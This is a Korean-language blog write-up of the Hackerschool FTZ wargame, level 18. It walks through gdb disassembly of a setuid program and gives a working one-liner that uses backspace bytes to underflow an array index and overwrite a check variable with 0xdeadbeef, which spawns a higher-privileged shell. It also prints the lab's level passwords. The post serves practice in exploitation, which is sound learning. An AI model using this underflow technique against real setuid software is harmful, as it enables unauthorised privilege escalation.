뇌
[FTZ] level 18 → level 19 문제풀이 본문
level18 - id
: level18 , pw
: why did you do it
[level18@ftz level18]$ ls
attackme hint public_html tmp
[level18@ftz level18]$ cat hint
#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
void shellout(void);
int main()
{
char string[100];
int check;
int x = 0;
int count = 0;
fd_set fds;
printf("Enter your command: ");
fflush(stdout); // 표준출력 버퍼 비우기 ("Enter your command: " 를 먼저 출력해버림)
while(1)
{
if(count >= 100) // 만약 count 가 100 보다 크거나 같으면
printf("what are you trying to do?\n"); // 출력
if(check == 0xdeadbeef) // 만약 check 가 '0xdeadbeef'면 *** 우리가 해야할 부분 ***
shellout(); // shellout 함수 실행
else
{
FD_ZERO(&fds); // ?
FD_SET(STDIN_FILENO,&fds); // ?
if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1) // ?
{
if(FD_ISSET(fileno(stdin),&fds)) // ?
{
read(fileno(stdin),&x,1); // x 에 표준입력으로 받은 문자열에서 1byte 만큼 삽입
switch(x) // x 에 값에 따라
{
case '\r':
case '\n': // '\r' 이나 '\n'이면
printf("\a"); // 출력
break;
case 0x08: // '0x08'이면
count--; // count 값을 1 감소
printf("\b \b"); // 출력
break;
default: // 그 외에는
string[count] = x; // string[count] 에 x 삽입
count++; // count 값을 1 증가
break;
}
}
}
}
}
}
void shellout(void)
{
setreuid(3099,3099); // level19 의 권한의 setuid 를 부여
execl("/bin/sh","sh",NULL); // 쉘코드 실행
}
[level18@ftz level18]$
힌트를 보니 다른 문제들에 비해 코드가 좀 길다.
처음에 풀 때 FD 에 대한 함수를 몰라서 모르는 상태로 아는 부분만 해석하면서 풀었다.
변수 check 가 '0xdeadbeef' 면 쉘이 따지는데, 우리는 변수 string 의 값만 조작할 수 있다.
그런데 string 은 check 보다 먼저 선언됐기 때문에 스택에서 string 이 더 높은 주소에 위치하게 된다.
즉, BOF
기법을 사용할 수 없다.
하지만 string 의 인덱스 값으로 음수를 넣어준다면?
예를 들어 string[-100] 이런 식으로 말이다.
[level18@ftz level18]$ ls
attackme hint public_html tmp
[level18@ftz level18]$ cd tmp
[level18@ftz tmp]$ vi test.c
#include<stdio.h>
int main()
{
char string[20];
int i;
gets(string);
for(i=-12; i<20; i++)
printf("%x ", string[i]);
printf("\n");
return 0;
}
[level18@ftz tmp]$
이 프로그램은
변수 string 에 표준입력으로 입력 받고, string[-12] 부터 string[19] 까지 16진수로 출력하는 간단한 프로그램이다.
[level18@ftz tmp]$ ls
test.c
[level18@ftz tmp]$ gcc -o test test.c
/tmp/ccglF1eT.o(.text+0x18): In function `main':
: the `gets' function is dangerous and should not be used.
[level18@ftz tmp]$ (python -c 'print "A"*20') | ./test
0 0 0 0 ffffff81 54 1 42 fffffffc ffffffff ffffffff ffffffff 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
[level18@ftz tmp]$
그러면 오류가 나지않고, 쓰레기 값이 12 byte 출력되고, 41(A) 가 출력된다.
이 쓰레기 값은 어디서 나오는 것일까?
[level18@ftz tmp]$ gdb -q test
(gdb) set disas intel
(gdb) disas main
Dump of assembler code for function main:
0x0804835c <main+0>: push ebp
0x0804835d <main+1>: mov ebp,esp
0x0804835f <main+3>: sub esp,0x38
0x08048362 <main+6>: and esp,0xfffffff0
0x08048365 <main+9>: mov eax,0x0
0x0804836a <main+14>: sub esp,eax
0x0804836c <main+16>: sub esp,0xc
0x0804836f <main+19>: lea eax,[ebp-40]
0x08048372 <main+22>: push eax
0x08048373 <main+23>: call 0x804827c <gets>
0x08048378 <main+28>: add esp,0x10
0x0804837b <main+31>: mov DWORD PTR [ebp-44],0xfffffff4
0x08048382 <main+38>: cmp DWORD PTR [ebp-44],0x13
0x08048386 <main+42>: jle 0x804838a <main+46>
0x08048388 <main+44>: jmp 0x80483ab <main+79>
0x0804838a <main+46>: sub esp,0x8
0x0804838d <main+49>: lea eax,[ebp-40]
0x08048390 <main+52>: add eax,DWORD PTR [ebp-44]
0x08048393 <main+55>: movsx eax,BYTE PTR [eax]
0x08048396 <main+58>: push eax
0x08048397 <main+59>: push 0x8048470
0x0804839c <main+64>: call 0x804829c <printf>
---Type <return> to continue, or q <return> to quit---
0x080483a1 <main+69>: add esp,0x10
0x080483a4 <main+72>: lea eax,[ebp-44]
0x080483a7 <main+75>: inc DWORD PTR [eax]
0x080483a9 <main+77>: jmp 0x8048382 <main+38>
0x080483ab <main+79>: sub esp,0xc
0x080483ae <main+82>: push 0x8048474
0x080483b3 <main+87>: call 0x804829c <printf>
0x080483b8 <main+92>: add esp,0x10
0x080483bb <main+95>: mov eax,0x0
0x080483c0 <main+100>: leave
0x080483c1 <main+101>: ret
0x080483c2 <main+102>: nop
0x080483c3 <main+103>: nop
End of assembler dump.
(gdb) b*main+100
Breakpoint 1 at 0x80483c0
(gdb) r <<< $(python -c 'print "A"*20')
Starting program: /home/level18/tmp/test <<< $(python -c 'print "A"*20')
0 0 0 0 ffffff81 54 1 42 fffffffc ffffffff ffffffff ffffffff 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
Breakpoint 1, 0x080483c0 in main ()
(gdb) x/40x $ebp-80
0xbffff828: 0xbffff878 0x080483b8 0x08048474 0x00000041
0xbffff838: 0x40015bd4 0x40016380 0x00000001 0x00000000
0xbffff848: 0x42015481 0x00000014 0x41414141 0x41414141
0xbffff858: 0x41414141 0x41414141 0x41414141 0x4000c600
0xbffff868: 0xbffff878 0x080483ce 0x42130a14 0x40015360
0xbffff878: 0xbffff898 0x42015574 0x00000001 0xbffff8c4
0xbffff888: 0xbffff8cc 0x4001582c 0x00000001 0x080482ac
0xbffff898: 0x00000000 0x080482cd 0x0804835c 0x00000001
0xbffff8a8: 0xbffff8c4 0x080483c4 0x080483f4 0x4000c660
0xbffff8b8: 0xbffff8bc 0x00000000 0x00000001 0xbffffdc3
(gdb) x/40x $ebp-52
0xbffff844: 0x00000000 0x42015481 0x00000014 0x41414141
0xbffff854: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff864: 0x4000c600 0xbffff878 0x080483ce 0x42130a14
0xbffff874: 0x40015360 0xbffff898 0x42015574 0x00000001
0xbffff884: 0xbffff8c4 0xbffff8cc 0x4001582c 0x00000001
0xbffff894: 0x080482ac 0x00000000 0x080482cd 0x0804835c
0xbffff8a4: 0x00000001 0xbffff8c4 0x080483c4 0x080483f4
0xbffff8b4: 0x4000c660 0xbffff8bc 0x00000000 0x00000001
0xbffff8c4: 0xbffffdc3 0x00000000 0xbffffdda 0xbffffdf8
0xbffff8d4: 0xbffffe08 0xbffffe1c 0xbffffe2a 0xbffffe3a
(gdb)
gdb 를 이용하여 leave 부분에 breakpoint 를 걸고, A 를 20 개 입력했다.
0x0804836f <main+19> 부분에 ebp-40 을 gets 의 인자값으로 주기 때문에
string 의 시작주소가 ebp-40 임을 알 수 있다.
스택에서 ebp-52 부분부터 0 0 0 0 ... 14 까지 ( 41 바로 뒤 까지)
즉, string 바로 뒤에 있는 12 byte 의 쓰레기 값이 출력된 것이다.
이것을 OOB(Out Of Boundary)
라고 하는데,
버퍼의 길이 범위를 벗어나는 인덱스에 접근할 때 발생하는 취약점이다.
다시 돌아가서 ..
만약 x 가 '0x08'이면 count 를 1 만큼 감소 시킨다.
count 는 string 의 인덱스임으로
check 의 위치와 string 의 위치를 알아내서 그 만큼 '0x08' 을 입력하고, '0xdeadbeef' 를 입력하면 되겠다.
attackme 파일을 tmp 디렉토리에 복사해 gdb 로 분석해보자.
[level18@ftz tmp]$ cd ..
[level18@ftz level18]$ ls
attackme hint public_html tmp
[level18@ftz level18]$ cp attackme tmp
[level18@ftz level18]$ cd tmp
[level18@ftz tmp]$ ls
attackme test test.c
[level18@ftz tmp]$ gdb -q attackme
(no debugging symbols found)...(gdb) set disas intel
(gdb) disas main
Dump of assembler code for function main:
0x08048550 <main+0>: push ebp
0x08048551 <main+1>: mov ebp,esp
0x08048553 <main+3>: sub esp,0x100
0x08048559 <main+9>: push edi
0x0804855a <main+10>: push esi
0x0804855b <main+11>: push ebx
0x0804855c <main+12>: mov DWORD PTR [ebp-108],0x0
0x08048563 <main+19>: mov DWORD PTR [ebp-112],0x0
0x0804856a <main+26>: push 0x8048800
0x0804856f <main+31>: call 0x8048470 <printf>
0x08048574 <main+36>: add esp,0x4
0x08048577 <main+39>: mov eax,ds:0x804993c
0x0804857c <main+44>: mov DWORD PTR [ebp-252],eax
0x08048582 <main+50>: mov ecx,DWORD PTR [ebp-252]
0x08048588 <main+56>: push ecx
0x08048589 <main+57>: call 0x8048430 <fflush>
0x0804858e <main+62>: add esp,0x4
0x08048591 <main+65>: jmp 0x8048598 <main+72>
0x08048593 <main+67>: jmp 0x8048775 <main+549>
0x08048598 <main+72>: cmp DWORD PTR [ebp-112],0x63
0x0804859c <main+76>: jle 0x80485ab <main+91>
0x0804859e <main+78>: push 0x8048815
---Type <return> to continue, or q <return> to quit---
0x080485a3 <main+83>: call 0x8048470 <printf>
0x080485a8 <main+88>: add esp,0x4
0x080485ab <main+91>: cmp DWORD PTR [ebp-104],0xdeadbeef
0x080485b2 <main+98>: jne 0x80485c0 <main+112>
0x080485b4 <main+100>: call 0x8048780 <shellout>
0x080485b9 <main+105>: jmp 0x8048770 <main+544>
0x080485be <main+110>: mov esi,esi
0x080485c0 <main+112>: lea edi,[ebp-240]
0x080485c6 <main+118>: mov DWORD PTR [ebp-252],edi
0x080485cc <main+124>: mov ecx,0x20
0x080485d1 <main+129>: mov edi,DWORD PTR [ebp-252]
0x080485d7 <main+135>: xor eax,eax
0x080485d9 <main+137>: cld
0x080485da <main+138>: repz stos es:[edi],eax
0x080485dc <main+140>: mov DWORD PTR [ebp-244],ecx
0x080485e2 <main+146>: mov DWORD PTR [ebp-248],edi
0x080485e8 <main+152>: jmp 0x80485f2 <main+162>
0x080485ea <main+154>: lea esi,[esi]
0x080485f0 <main+160>: jmp 0x80485c0 <main+112>
0x080485f2 <main+162>: xor eax,eax
0x080485f4 <main+164>: bts DWORD PTR [ebp-240],eax
0x080485fb <main+171>: push 0x0
0x080485fd <main+173>: push 0x0
---Type <return> to continue, or q <return> to quit---
0x080485ff <main+175>: push 0x0
0x08048601 <main+177>: lea ecx,[ebp-240]
0x08048607 <main+183>: mov DWORD PTR [ebp-252],ecx
0x0804860d <main+189>: mov edi,DWORD PTR [ebp-252]
0x08048613 <main+195>: push edi
0x08048614 <main+196>: push 0x400
0x08048619 <main+201>: call 0x8048440 <select>
0x0804861e <main+206>: add esp,0x14
0x08048621 <main+209>: mov DWORD PTR [ebp-252],eax
0x08048627 <main+215>: cmp DWORD PTR [ebp-252],0x0
0x0804862e <main+222>: jle 0x8048770 <main+544>
0x08048634 <main+228>: mov eax,ds:0x8049940
0x08048639 <main+233>: mov DWORD PTR [ebp-252],eax
0x0804863f <main+239>: mov ecx,DWORD PTR [ebp-252]
0x08048645 <main+245>: push ecx
0x08048646 <main+246>: call 0x8048420 <fileno>
0x0804864b <main+251>: add esp,0x4
0x0804864e <main+254>: mov DWORD PTR [ebp-252],eax
0x08048654 <main+260>: mov esi,DWORD PTR [ebp-252]
0x0804865a <main+266>: and esi,0x1f
0x0804865d <main+269>: mov edi,ds:0x8049940
0x08048663 <main+275>: mov DWORD PTR [ebp-252],edi
0x08048669 <main+281>: mov eax,DWORD PTR [ebp-252]
---Type <return> to continue, or q <return> to quit---
0x0804866f <main+287>: push eax
0x08048670 <main+288>: call 0x8048420 <fileno>
0x08048675 <main+293>: add esp,0x4
0x08048678 <main+296>: mov DWORD PTR [ebp-252],eax
0x0804867e <main+302>: mov edx,DWORD PTR [ebp-252]
0x08048684 <main+308>: shr edx,0x5
0x08048687 <main+311>: lea ecx,[edx*4]
0x0804868e <main+318>: mov DWORD PTR [ebp-252],ecx
0x08048694 <main+324>: lea edx,[ebp-240]
0x0804869a <main+330>: mov edi,DWORD PTR [ebp-252]
0x080486a0 <main+336>: bt DWORD PTR [edi+edx],esi
0x080486a4 <main+340>: setb bl
0x080486a7 <main+343>: test bl,bl
0x080486a9 <main+345>: je 0x8048770 <main+544>
0x080486af <main+351>: push 0x1
0x080486b1 <main+353>: lea eax,[ebp-108]
0x080486b4 <main+356>: mov DWORD PTR [ebp-252],eax
0x080486ba <main+362>: mov ecx,DWORD PTR [ebp-252]
0x080486c0 <main+368>: push ecx
0x080486c1 <main+369>: mov edi,ds:0x8049940
0x080486c7 <main+375>: mov DWORD PTR [ebp-252],edi
0x080486cd <main+381>: mov eax,DWORD PTR [ebp-252]
0x080486d3 <main+387>: push eax
---Type <return> to continue, or q <return> to quit---
0x080486d4 <main+388>: call 0x8048420 <fileno>
0x080486d9 <main+393>: add esp,0x4
0x080486dc <main+396>: mov DWORD PTR [ebp-252],eax
0x080486e2 <main+402>: mov ecx,DWORD PTR [ebp-252]
0x080486e8 <main+408>: push ecx
0x080486e9 <main+409>: call 0x8048490 <read>
0x080486ee <main+414>: add esp,0xc
0x080486f1 <main+417>: mov edi,DWORD PTR [ebp-108]
0x080486f4 <main+420>: mov DWORD PTR [ebp-252],edi
0x080486fa <main+426>: cmp DWORD PTR [ebp-252],0xa
0x08048701 <main+433>: je 0x8048722 <main+466>
0x08048703 <main+435>: cmp DWORD PTR [ebp-252],0xa
0x0804870a <main+442>: jg 0x8048717 <main+455>
0x0804870c <main+444>: cmp DWORD PTR [ebp-252],0x8
0x08048713 <main+451>: je 0x8048731 <main+481>
0x08048715 <main+453>: jmp 0x8048743 <main+499>
0x08048717 <main+455>: cmp DWORD PTR [ebp-252],0xd
0x0804871e <main+462>: je 0x8048722 <main+466>
0x08048720 <main+464>: jmp 0x8048743 <main+499>
0x08048722 <main+466>: push 0x8048831
0x08048727 <main+471>: call 0x8048470 <printf>
0x0804872c <main+476>: add esp,0x4
0x0804872f <main+479>: jmp 0x8048770 <main+544>
---Type <return> to continue, or q <return> to quit---
0x08048731 <main+481>: dec DWORD PTR [ebp-112]
0x08048734 <main+484>: push 0x8048833
0x08048739 <main+489>: call 0x8048470 <printf>
0x0804873e <main+494>: add esp,0x4
0x08048741 <main+497>: jmp 0x8048770 <main+544>
0x08048743 <main+499>: lea eax,[ebp-100]
0x08048746 <main+502>: mov DWORD PTR [ebp-252],eax
0x0804874c <main+508>: mov edx,DWORD PTR [ebp-112]
0x0804874f <main+511>: mov cl,BYTE PTR [ebp-108]
0x08048752 <main+514>: mov BYTE PTR [ebp-253],cl
0x08048758 <main+520>: mov al,BYTE PTR [ebp-253]
0x0804875e <main+526>: mov ecx,DWORD PTR [ebp-252]
0x08048764 <main+532>: mov BYTE PTR [edx+ecx],al
0x08048767 <main+535>: inc DWORD PTR [ebp-112]
0x0804876a <main+538>: jmp 0x8048770 <main+544>
0x0804876c <main+540>: lea esi,[esi*1]
0x08048770 <main+544>: jmp 0x8048591 <main+65>
0x08048775 <main+549>: lea esp,[ebp-268]
0x0804877b <main+555>: pop ebx
0x0804877c <main+556>: pop esi
0x0804877d <main+557>: pop edi
0x0804877e <main+558>: leave
0x0804877f <main+559>: ret
---Type <return> to continue, or q <return> to quit---
End of assembler dump.
(gdb)
0x080485ab <main+91> 부분을 보면 '0xdeadbeef' 와 비교를 하므로 ebp-104 가 check 의 시작위치임을 알 수 있다.
.
0x08048743 <main+499> 부분을 보면 lea 명령어를 이용하여 eax 에 ebp-100 의 주소를 넘겨주므로
string 의 시작위치임을 알 수 있다.
string 과 check 사이에 4 byte 가 차이 나므로
'0x08' 을 4 byte 입력하고, '0xdeadbeef 를 입력하면 되겠다.
[level18@ftz tmp]$ cd ..
[level18@ftz level18]$ (python -c 'print "\x08"*4 + "\xef\xbe\xad\xde"';cat) | ./attackme
Enter your command: id
uid=3099(level19) gid=3098(level18) groups=3098(level18)
my-pass
Level19 Password is "swimming in pink".
level19 의 권한으로 쉘이 따졌다.
Level19 Password is "swimming in pink".
FD_ZERO(&fds) : 변수 fds 를 0 으로 초기화
FD_SET(STDIN_FILENO,&fds) : 표준입력으로 입력 받은 값을 변수 fds 에 추가
select(FD_SETSIZE, &fds, NULL, NULL, NULL) : FD_SETSIZE(1024) 미만 중 변수 fds 에 있는 fd(0) 의 이벤트가 발생하면
해당 이벤트만 1 로 바꾸고 나머지는 0 으로 바꾼다.
FD_ISSET(fileno(stdin),&fds) : 변수 fds 에 표준입력(0) 값이 설정 되어있는지 확인
( FD_SET 함수로 설정 했으므로 항상 참이 된다.)
감사합니다
'Pwnable > 해커스쿨 FTZ write-up' 카테고리의 다른 글
[FTZ] level 20 → clear 문제풀이 (0) | 2020.03.16 |
---|---|
[FTZ] level 19 → level 20 문제풀이 (0) | 2020.03.13 |
[FTZ] level 17 → level 18 문제풀이 (0) | 2020.03.06 |
[FTZ] level 16 → level 17 문제풀이 (0) | 2020.03.06 |
[FTZ] level 15 → level 16 문제풀이 (0) | 2020.03.06 |